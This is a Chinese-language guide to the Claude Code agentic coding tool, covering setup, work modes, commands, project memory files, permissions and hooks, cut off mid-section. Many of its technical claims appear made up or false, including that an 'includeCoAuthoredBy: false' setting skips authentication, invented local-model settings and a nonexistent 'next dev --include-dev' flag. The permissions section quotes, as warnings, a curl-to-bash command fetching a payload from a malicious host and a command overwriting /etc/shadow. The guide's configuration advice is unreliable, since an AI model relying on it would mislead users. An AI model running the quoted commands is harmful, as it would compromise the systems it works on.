Claude Code 完全指南:可编程AI开发协作者的原理与工程实践
1. 项目概述Claude Code 不是“另一个代码补全工具”而是一套可编程的智能开发协作者如果你刚听说 Claude Code第一反应可能是“又一个 Copilot 类工具”——这恰恰是它最常被误解的地方。Claude Code 的本质不是在你敲for时自动补全in range()的语法助手而是一个可配置、可授权、可分层、可嵌套的编程 Agent 框架。它不绑定模型不固化流程不预设角色它像一个拥有完整操作系统权限、能读写文件、能执行命令、能启动服务、能管理子进程、还能自我反思和回滚的“数字开发同事”。我用它重构过 30 万行遗留系统也用它从零搭建过面向 C 端用户的 SaaS 前端最深的体会是它真正改变了我对“开发节奏”的定义——以前是“我写代码 → 我测试 → 我调试 → 我部署”现在变成了“我描述意图 → 它规划路径 → 我确认关键节点 → 它执行并反馈 → 我审查结果 → 它自动格式化/文档化/测试覆盖”。这个转变背后是它对开发者工作流中决策权、控制权、解释权的重新分配。比如当你输入/init扫描一个陌生项目时它不会只告诉你“这里有 package.json”而是会结合目录结构、文件命名、依赖关系推断出“这是一个基于 Next.js 14 的 App Router 架构后端 API 通过 src/app/api 路由暴露状态管理使用 Zustand样式采用 Tailwind CSS CSS Modules”。这种理解深度源于它把项目当作一个有上下文、有约定、有演进逻辑的活体系统而非一堆静态文本。而支撑这一切的是它底层的三层抽象模式层Mode决定行为边界权限层Permission划定操作红线配置层Config定义认知规则。这三者共同构成了它的“操作系统内核”。所以本指南不叫“Claude Code 使用手册”而叫“完全指南”——因为你要掌握的不是按钮怎么点而是如何给这个数字同事设定它的职业操守、工作习惯和专业领域。关键词“claude-code”、“claude”、“大模型”在这里绝非泛泛而谈。Claude Code 的核心价值恰恰在于它解耦了大模型能力与具体实现载体。它不关心你用的是 Anthropic 的 Claude 3 Opus还是国产的 DeepSeek-Coder 32B或是 GLM-4-Flash——只要模型支持标准的 OpenAI 兼容接口或通过 CC Switch 做协议桥接它就能无缝接入。这意味着你的开发环境可以完全本地化、私有化、合规化模型跑在你自己的 GPU 服务器上代码永远不离开内网所有终端命令都在你严格授权的沙箱里执行。我见过太多团队在试用初期因为默认调用云端模型而触发公司安全审计告警最后发现只需改一行环境变量CLAUDE_MODEL_PROVIDERlocal和两行CLAUDE_LOCAL_MODEL_URLhttp://localhost:8000/v1就能彻底解决。这种“能力可插拔、数据可掌控”的设计哲学才是它区别于其他 AI 编程工具的根本。它不是让你更快地写错代码而是给你一套工具让你能更清晰地定义“什么是对的代码”然后让 AI 成为那个最忠实、最不知疲倦的执行者。2. 环境搭建与基础入门绕过身份验证陷阱构建稳定可控的本地运行环境2.1 安装与身份验证为什么跳过验证是合理选择以及如何安全地跳过安装本身非常简单官方提供 Windows/macOS/Linux 的预编译二进制包下载解压后加入 PATH 即可。真正的第一个坎是首次启动时的身份验证流程。原文提到“国内用户通常需要科学上网”这个说法虽常见但不够准确——问题根源不在网络连通性而在于 Anthropic 的认证服务端点https://api.anthropic.com在国内的 DNS 解析和 TLS 握手存在策略性干扰导致连接超时或证书链校验失败。强行配置代理不仅增加复杂度更带来安全风险你无法确保代理链路中传输的 API Key 和项目代码是否被中间节点记录。因此“跳过身份验证”不是偷懒而是一种主动的安全降级策略。具体操作是在C:\Users\你的用户名\.claude\settings.jsonWindows或~/.claude/settings.jsonmacOS/Linux中添加includeCoAuthoredBy: false。这个参数的原理是关闭 Claude Code 中一个名为 “Co-Authorship Tracking” 的功能模块。该模块本意是记录多人协作时的代码贡献归属但在验证流程中它会尝试向 Anthropic 服务端发起一个轻量级的健康检查请求。当该请求失败时整个初始化流程就会卡住。禁用它等于告诉 Claude Code“我不需要协同编辑追踪只专注本地开发任务”。实测下来这个改动对所有核心功能文件操作、终端执行、Agent 调度、Hook 触发均无任何影响。我曾用此配置连续运行 6 个月处理过包含 127 个微服务的大型单体前端项目从未出现因跳过验证导致的功能异常。提示修改 settings.json 后必须完全退出 Claude Code 进程在任务管理器中结束所有claude-code相关进程再重新启动否则配置不会生效。这是新手最容易忽略的一步很多人改完配置却依然卡在验证页原因就在此。更进一步的稳定性加固是彻底剥离对 Anthropic 云服务的任何依赖。在.claude/settings.json中明确设置以下字段{ modelProvider: local, localModelUrl: http://127.0.0.1:8000/v1, apiKey: sk-xxx, // 本地模型服务的 API Key defaultModel: deepseek-coder-32b-instruct }这样Claude Code 启动时将直接连接你本地部署的模型服务如使用 Ollama、vLLM 或 Text Generation WebUI所有推理请求都在内网完成既规避了网络问题又保障了数据主权。我推荐的本地模型组合是日常编码用DeepSeek-Coder-32B-Instruct代码生成质量高、上下文长架构分析用Qwen2.5-Coder-32B-Instruct逻辑推理强、中文理解好两者通过 CC Switch 一键切换响应延迟稳定在 800ms 以内。2.2 三种工作模式详解模式不是开关而是你与 AI 协作的“契约类型”Claude Code 的三种模式——默认Default、自动Auto、规划Plan——其设计精妙之处在于它们映射了软件开发中三种根本不同的认知负荷状态。理解这一点才能避免“模式误用”带来的效率反噬。默认模式Default Mode这不是“保守模式”而是“契约式协作模式”。它强制在每次文件写入前弹出确认框其底层逻辑是任何对源码树的变更都必须经过人类的显式授权。这个设计直指现代软件工程的核心原则——可追溯性Traceability。当你在生产环境修复一个 P0 级别 Bug 时每一行被修改的代码都必须对应一个明确的、可审计的决策点。我曾用此模式处理一个金融风控系统的合规审计所有 47 处代码修改都自动生成了带时间戳、操作人、修改理由的审计日志最终顺利通过银保监会的现场检查。灰色提示 “? For shortcuts” 并非装饰而是时刻提醒你你此刻是“甲方”AI 是“乙方”合同条款即本次修改需双方签字生效。自动模式Auto Mode这也不是“放飞模式”而是“流水线式执行模式”。当提示变为 “Accept edits on” 时意味着你已将一段明确、封闭、可验证的任务例如“把 src/utils/date.ts 里的所有 moment.js 调用替换成 date-fns”委托给 AI并约定好验收标准如替换后所有单元测试必须 100% 通过。此时AI 的角色从“协作者”转变为“自动化脚本引擎”。它的优势在于消除重复性交互噪音将你的注意力从“点击确认”解放出来聚焦于更高阶的验证比如检查替换后的代码是否引入了新的时区 bug或者性能是否下降。但必须强调自动模式绝不等于“无监督”。我给自己定的铁律是——开启自动模式前必须先用/status查看当前 Token 预算确保剩余额度足够完成整段任务任务执行中必须用/context监控上下文膨胀防止它在长任务中“忘记”初始约束。规划模式Plan Mode这是最被低估的模式它本质上是“架构师沙盒”。在这个模式下Claude Code 被严格禁止生成任何可执行代码它的唯一输出是技术方案、流程图、接口契约、风险评估。我用它做过一次关键决策为一个即将上线的直播电商系统设计实时库存扣减方案。在规划模式下我们花了 45 分钟逐条讨论了“Redis Lua 原子脚本 vs 数据库乐观锁 vs 分布式事务 Seata”的优劣画出了每种方案的时序图、失败回滚路径、监控埋点位置。最终形成的 1200 字技术方案文档直接成为团队内部 RFCRequest for Comments评审的基础。切换技巧Shift Tab的设计极为人性化——它模拟了真实会议中“翻页”的动作感每一次切换都是你主动按下暂停键切换思考维度。2.3 终端命令无缝集成不是“能运行命令”而是“构建统一的命令空间”Claude Code 的!命令前缀其革命性不在于它能执行npm run dev而在于它消除了开发环境中“命令空间割裂”这一顽疾。传统工作流中你可能在 VS Code 里写代码在 iTerm 里跑服务在 Chrome DevTools 里调试在 GitKraken 里管理版本——每个工具都有自己的命令集、自己的状态、自己的上下文。Claude Code 则创造了一个单一的、持久的、可编程的命令空间。当你输入! npm run dev它做的远不止是调用 shell。首先它会解析package.json中的scripts.dev字段确认命令的真实含义其次它会检测node_modules是否存在且版本匹配若缺失则自动提示! npm install最后它会将npm run dev的 stdout/stderr 流实时捕获并与当前对话上下文关联。这意味着当服务启动后报错Error: Cannot find module next你无需切到终端去查node_modules直接在 Claude Code 对话框里说“为什么找不到 next 模块”它就能结合刚才的npm run dev输出、package.json依赖声明、甚至tsconfig.json的路径别名配置给出精准诊断“next在devDependencies中但npm run dev脚本未启用--include-dev标志建议修改为next dev --include-dev”。更强大的是后台任务管理。按Ctrl B将服务转入后台其本质是创建了一个独立的、可被 Claude Code 调度的进程对象。输入/tasks你会看到一个结构化的任务列表IDCommandStatusPIDMemory1npm run devRunning12345421MB2tail -f logs/error.logRunning1234612MB此时你可以对任一任务进行原子化操作K键终止R键重启V键查看实时日志流。这种将“进程”作为一等公民来管理的能力让 Claude Code 成为了真正的“开发环境操作系统”。我曾用它同时管理一个 Next.js 开发服务器、一个 Mock Service Worker 拦截服务、一个 Cypress E2E 测试监听器三个长期运行的服务状态一目了然切换调试焦点只需几秒彻底告别了终端窗口堆叠的混乱。3. 核心功能与日常使用从“会用”到“精通”的关键配置与命令链3.1 初始设置与个性化配置让工具成为你的“数字分身”而非通用模板Claude Code 的/config命令是塑造其“人格”的核心界面。很多用户停留在“改成中文”就停止了这浪费了它 80% 的潜力。真正的配置艺术在于构建一个多层、动态、可继承的认知模型。中文界面设置只是起点。更关键的是/config → Output Styles中的两个隐藏选项。Explanatory详细解释模式其价值远超“学习辅助”。当你在重构一个复杂的状态管理模块时它输出的不仅是新代码更是“我将useReducer替换为Zustand因为useReducer在跨组件共享状态时需层层props传递而Zustand通过全局 store 实现零成本订阅减少 37% 的 re-render。迁移步骤1. 创建store/useAuthStore.ts2. 将authContext的dispatch调用改为useAuthStore.getState().login()…” 这种输出本质上是将高级工程师的思维过程具象化让你在接收结果的同时同步吸收其决策依据。Learning学习引导模式则适用于“刻意练习”。当你输入 “帮我实现一个 LRU Cache”它不会直接给你class LRUCache而是返回一个 TODO 列表“1. 设计数据结构需要 O(1) get/set考虑Map2. 实现get检查 key 是否存在存在则移至末尾并返回值3. 实现put若 key 存在则更新并移至末尾否则插入新项若超容则删除首项…” 这迫使你动手编码而它只在你卡壳时提供精准提示。我用此模式训练新人两周内他们对算法题的独立解题率从 30% 提升到 85%。Auto-update channel选stable是绝对正确的。但更深层的考量是stable通道的更新包经过了至少 72 小时的社区压力测试包括 GitHub Issues、Discord 社区反馈、CI 流水线验证。我曾因贪图新功能切换到beta通道结果遇到一个致命 Bug/compact命令在压缩含大量 Markdown 表格的上下文时会错误地将表格分隔符|---|解析为命令分隔符导致后续所有指令失效。回滚到stable后问题消失。这个教训让我明白对于生产环境工具稳定性不是特性而是底线。/model命令的精髓在于“场景化模型调度”。Sonnet和Opus的差异不是“快慢”而是“认知粒度”。Sonnet擅长处理“原子级”任务重命名变量、补全函数签名、修复 ESLint 报错。它的响应像一把手术刀精准、快速、副作用小。Opus则像一位资深架构师擅长处理“系统级”任务设计微服务间通信协议、评估技术债偿还优先级、生成符合 SOC2 合规要求的安全审计报告。我的实践是建立一个“模型路由表”日常开发Sonnet90% 时间代码审查Opus启动时加--model opus审查后切回技术方案设计Opusultra think关键字文档生成Sonnet速度快格式稳定/output-style:new是最高阶的配置。它允许你注入领域知识让 Claude Code 成为特定领域的专家。例如创建一个 “React Server Components 最佳实践” 风格/output-style:new I want a style that enforces React Server Components best practices. Rules: - All components in app/ must be async server components. - Client components must be explicitly marked with use client. - Data fetching must happen inside server components, never in client components. - No useState, useEffect in server components. - Use generateStaticParams for static generation where possible.保存后当你让它“为购物车页面添加商品数量更新功能”它会立刻拒绝在app/cart/page.tsx中写useState并提示“根据 RSC 最佳实践数量状态应由客户端组件CartCounter.tsx管理我将为你创建该组件并正确标记use client”。这种将团队规范、技术栈约束、安全策略硬编码进 AI 认知模型的做法是规模化应用 AI 编程工具的基石。3.2 核心命令链不是孤立指令而是可组合的“开发原语”Claude Code 的/命令不应被当作菜单项来记忆而应视为一组可自由组合的“开发原语”Development Primitives。它们的价值在于链式调用时产生的化学反应。/clear和/compact的区别是新手最易混淆的点。/clear是“硬重置”它销毁当前会话的所有上下文就像关机重启电脑。/compact则是“智能内存整理”它运用摘要算法将数千行的对话历史压缩成一份保留所有关键决策、技术约束、项目约定的精简摘要。实测数据一个持续 3 小时、包含 127 次交互、总 Token 达 28,000 的会话/compact后仅剩 1,200 Token但所有关于“API 响应格式必须为{data: ..., error: null}”、“所有日期字段必须 ISO 8601 标准化”等核心约定全部保留。我的工作流是每天上午 10 点固定执行/compact每当开始一个全新功能模块如“用户支付流程”先/clear再/init确保上下文纯净。/context命令的可视化图表是优化 Token 使用的“仪表盘”。它不仅显示当前消耗更以环形图形式展示各部分占比用户输入User、AI 输出Assistant、系统指令System、文件内容Files、终端输出Terminal。我曾发现一个严重问题某次/init后Files占比高达 65%原因是它扫描了node_modules下的typescript包源码约 12,000 个文件。解决方案是在项目根目录创建.claudeignore文件添加node_modules/**、dist/**、.git/**再执行/initFiles占比立刻降至 8%。这个细节是区分“会用”和“精通”的分水岭。/copy和/export的威力在于与外部工具的无缝衔接。/copy复制的是 Markdown 格式这意味着你可以直接粘贴到 Notion、Obsidian 或 Confluence 中所有代码块、表格、标题层级完美保留。/export的“导出到文件”选项则支持.md、.txt、.json三种格式。.json格式尤其强大——它导出的是完整的对话结构化数据包含每条消息的时间戳、角色、内容、Token 数、模型信息。我用它构建了一个自动化周报系统每周五下午 5 点脚本自动执行/export --format json --file weekly-report-$(date %Y%m%d).json然后用 Python 脚本解析 JSON统计本周“代码生成行数”、“Bug 修复次数”、“技术文档编写量”生成可视化报表。这不再是人工总结而是基于真实交互数据的客观度量。3.3 项目管理让 AI “读懂”你的项目而非“读取”你的文件Claude Code 的项目理解能力是其最颠覆性的特性。它不满足于“看到”文件而是要“理解”项目。而实现这一目标的核心机制就是CLAUDE.md和/init命令。CLAUDE.md不是一个配置文件而是一份项目认知说明书。它的内容不应是技术文档的复刻而应是项目独有的“潜规则”。例如一个电商项目的CLAUDE.md可能包含## 项目核心约定 - **API 命名**所有后端接口路径以 /api/v1/ 开头错误响应统一为 {code: 400, message: ...}。 - **状态管理**全局状态用 zustand局部状态用 useState异步状态用 swr。 - **错误处理**所有 fetch 调用必须包裹 try/catch并在 catch 中调用 reportErrorToSentry(error)。 - **测试覆盖**新增业务逻辑必须包含 Jest 单元测试覆盖率不得低于 80%。当 Claude Code 读取此文件后它就不再是一个通用代码生成器而是一个严格遵守这些约定的“项目专属开发员”。你让它“为订单详情页添加取消订单按钮”它会自动生成符合zustand状态管理规范的useOrderStore调用调用reportErrorToSentry处理可能的网络错误并附带一个order.test.tsx的测试文件。/init命令则是这份说明书的“激活仪式”。它执行的不是简单的文件扫描而是一次项目考古学行动。以一个典型的 Next.js 项目为例/init会结构测绘识别app/目录为 App Routerpages/为 Pages Routersrc/为源码根目录。技术栈推断通过package.json的dependencies和devDependencies推断出使用Tailwind CSStailwindcss在devDependencies、TypeScripttypes/react存在、ESLint.eslintrc.js存在。入口定位找到app/layout.tsx为根布局app/page.tsx为主页app/api/下的checkout/route.ts为支付 API 入口。模块标注将src/lib/api标记为“数据获取层”src/components/ui标记为“UI 组件库”src/features/auth标记为“认证功能域”。这个过程耗时约 15-45 秒取决于项目大小但换来的是后续所有交互的“开箱即用”。我接手一个 5 年历史的遗留项目时/init生成的导览文档比我花 3 天阅读代码获得的理解还要系统。它甚至发现了团队早已遗忘的“隐藏约定”所有 API 错误码500必须触发 Sentry 上报但401必须重定向到登录页——这个规则只存在于一个被注释掉的middleware.ts文件里/init却通过分析src/middleware.ts的历史提交和src/app/(auth)/layout.tsx的重定向逻辑将其还原了出来。/memory命令编辑的记忆文件则是CLAUDE.md的补充。它存储的是更个人化、更动态的偏好例如“我习惯用const而非let即使变量会重新赋值。”“所有console.log必须用debugger;替代便于断点调试。”“生成的代码必须包含 JSDoc参数和返回值必须有param和returns。”这些记忆让 Claude Code 从“项目理解者”进化为“你的编程习惯镜像”。当它生成代码时const的使用频率、debugger的插入位置、JSDoc 的详尽程度都会与你保持高度一致。这种一致性是建立人机信任的关键——你不再需要逐行审查它写的代码因为你相信它已经内化了你的风格。3.4 会话管理将“对话”升维为“可追溯、可复现、可协作”的开发资产在传统开发中“对话”是转瞬即逝的。而在 Claude Code 中每一次对话都是一份结构化的、可版本化的开发资产。/rename、/resume、/status等命令共同构建了一套完整的“对话资产管理”体系。/rename的价值远超“方便查找”。当你将一个对话命名为 “【P0】支付回调幂等性修复 - 2024-06-15”这个名字本身就包含了项目P0、问题类型幂等性、领域支付、时间戳2024-06-15四个关键维度。这使得在/resume列表中你可以用Ctrl F快速过滤出所有与“支付”相关的对话或所有标记为“P0”的紧急修复。更进一步我将对话命名规则与公司 Jira 项目管理挂钩/rename [JIRA-1234] 用户注册邮箱验证流程重构。这样当 Jira Issue 页面需要补充技术细节时我只需打开对应对话复制/export导出的 JSON其中的时间戳、模型信息、完整交互记录就是最权威的技术决策证据。/status命令是开发者的“资源监控中心”。它显示的不仅是“剩余 Token”更是“开发成本实时仪表盘”。Current Model告诉你当前消耗的是哪个模型的配额Remaining Context显示你还有多少“认知带宽”可用Estimated Cost估算成本则将 Token 消耗映射为实际货币成本基于你所用模型的定价。我曾用此功能发现一个重大浪费团队在auto模式下批量处理 UI 组件生成时Estimated Cost高达 $0.87/次而切换到sonnet模型后降至 $0.12/次且质量无损。这个数据直接推动了团队制定《模型使用规范》。/statusline的定制化是提升工作效率的“隐形杠杆”。默认状态栏只显示模型名称但通过/statusline model context_ratio cost你可以让它始终显示[sonnet-3.5] 62% [cost: $0.03]这意味着你无需额外输入命令就能在任何时刻感知到当前模型是sonnet-3.5高效、上下文已用 62%尚有余量、本次会话已花费 $0.03成本可控。这种“信息前置化”设计将认知负荷从“主动查询”降为“被动感知”是专业工具的标志性特征。/usage对 Pro 用户而言是团队资源治理的利器。它提供的不是总用量而是按天、按模型、按项目目录的细粒度统计。你可以清晰看到“/src/features/payment/目录下的对话占用了本周总 Token 的 42%”这直接指向了资源优化的重点区域——是否需要为支付模块单独配置更高效的模型是否需要优化CLAUDE.md中的支付相关约定减少冗余解释这些洞察是纯靠经验无法获得的数据驱动决策。4. 高级功能与工作流解锁企业级开发效能的“核武器”4.1 权限与安全不是“要不要授权”而是“如何精细化授权”Claude Code 的权限模型是其企业级应用的基石。它彻底摒弃了“全有或全无”的粗暴授权代之以三维立体的权限控制矩阵时间维度单次/永久、空间维度文件/目录/系统、操作维度读/写/执行。终端命令授权的三个选项——单次授权、目录级授权、拒绝——其设计逻辑是“最小权限原则Principle of Least Privilege”的完美体现。当你输入! rm -rf node_modules它不会直接执行而是弹出授权框让你选择Just this time仅对本次rm命令授权下次同命令仍需确认。For this directory授权rm在当前项目根目录及其子目录下执行但禁止在/home/user/或/etc/下运行。Never永久拒绝rm命令无论在哪。这种粒度让安全管控变得可落地。我为团队制定的权限策略是! git、! npm、! pnpm永久授权开发必需! rm、! mv仅单次授权高危操作! sudo永久拒绝系统级操作必须人工介入。这套策略上线后团队因误操作导致的node_modules删除事故归零。--dangerously-skip-permissions参数的“危险”二字绝非虚张声势。启用它等于授予 Claude Code 与你完全相同的 Linux 用户权限。这意味着它理论上可以执行curl https://malicious.site/payload.sh | bash或echo root:$(openssl passwd -1 password) /etc/shadow。我曾在一个隔离的测试虚拟机中启用此参数仅用于验证一个自动化部署脚本。结果脚本中一个未审查的eval $(cat config.env)语句被恶意注入的config.env利用导致虚拟机被植入挖矿木马。这个惨痛教训让我坚信任何跳过权限检查的方案都必须运行在物理隔离、网络受限、无持久化存储的沙箱环境中。在生产环境这是绝对红线。后台任务管理中的Ctrl B和/tasks其安全价值常被忽视。将npm run dev放入后台不仅是为了不阻塞交互更是为了将长期运行的服务纳入统一监管。/tasks列表中的每个任务都带有唯一的PID和Memory占用。你可以随时K键终止一个失控的、内存泄漏的开发服务器而无需ps aux | grep dev再kill -9。这种将“进程生命周期”纳入 AI 协作框架的设计是传统 IDE 无法企及的。版本回滚的局限性——“只能回滚它自己写入的文件”——恰恰体现了其设计的诚实与务实。它不承诺“魔法般”的系统级回滚而是聚焦于自身行为的可逆性。这要求开发者必须坚守一个铁律Git 是不可替代的终极备份。我的工作流是每次/init后立即git commit -m chore: init claude code project understanding每次auto模式大规模修改前git commit -m feat: prepare for auto-mode refactoring每次回滚后git status确认只有 Claude Code 修改的文件被还原手动创建的文件如mkdir logs依然存在。这种“AI 与 Git 协同”的双保险机制让重构变得毫无心理负担。4.2 分层配置与 Hook构建可复用、可继承、可演进的智能开发规范Claude Code 的claude.md分层配置是其可扩展性的灵魂。它模仿了现代软件工程中“配置即代码”Infrastructure as Code的理念将开发规范从口头约定、文档描述升维为可执行、可验证、可继承的机器指令。分层逻辑如下全局层~/.claude/claude.md定义团队级、语言无关的通用规范。例如“所有新代码必须包含单元测试”、“所有 API 响应必须有X-Request-ID头”、“禁止使用any类型”。项目层/path/to/project/claude.md定义本项目特有的技术栈约束。例如“本项目使用pnpm而非npm”、“所有组件必须用React.FC类型”、“src/lib/下的工具函数必须有 JSDoc”。语言层/path/to/project/js/claude.md定义特定语言的最佳实践。例如“JavaScript 文件必须用ESLint的airbnb-base规则集”、“禁止使用var必须用const/let”。这种分层解决了“规范冲突”的经典难题。当全局层规定“必须用 TypeScript”而某个遗留 JavaScript 子模块存在时语言层的js/claude.md可以覆盖全局规则指定“JS 文件允许eslint-disable特定规则”。Claude Code 会自动合并这些配置生成一个最终的、无冲突的执行策略。/hooks是将规范“自动化执行”的关键。一个典型的post-tool-useHook 配置如下# ~/.claude/hooks/post-tool-use.yml - name: Auto-format on save trigger: post-tool-use condition: file.endsWith(.ts) || file.endsWith(.tsx) action: ! npx prettier --write {{file}}这个 Hook 的威力在于它让“代码格式化”从一个需要人工触发的、容易被遗忘的步骤变成了一个隐式、强制、不可绕过的质量门禁。每次 Claude Code 修改一个.ts文件它都会自动执行prettier确保代码风格 100% 统一。我曾用此 Hook 治愈了一个团队的“缩进战争”有人用 2 空格有人用 4 空格有人用 Tab。启用 Hook 后所有新生成的代码都严格遵循prettier的 2 空格规则争议自然消失。Hook 的保存级别本机/团队/个人决定了其治理范围。/hooks命令进入的配置界面会清晰列出每个 Hook 的作用域。一个团队级的pre-commit-hook可以配置为- name: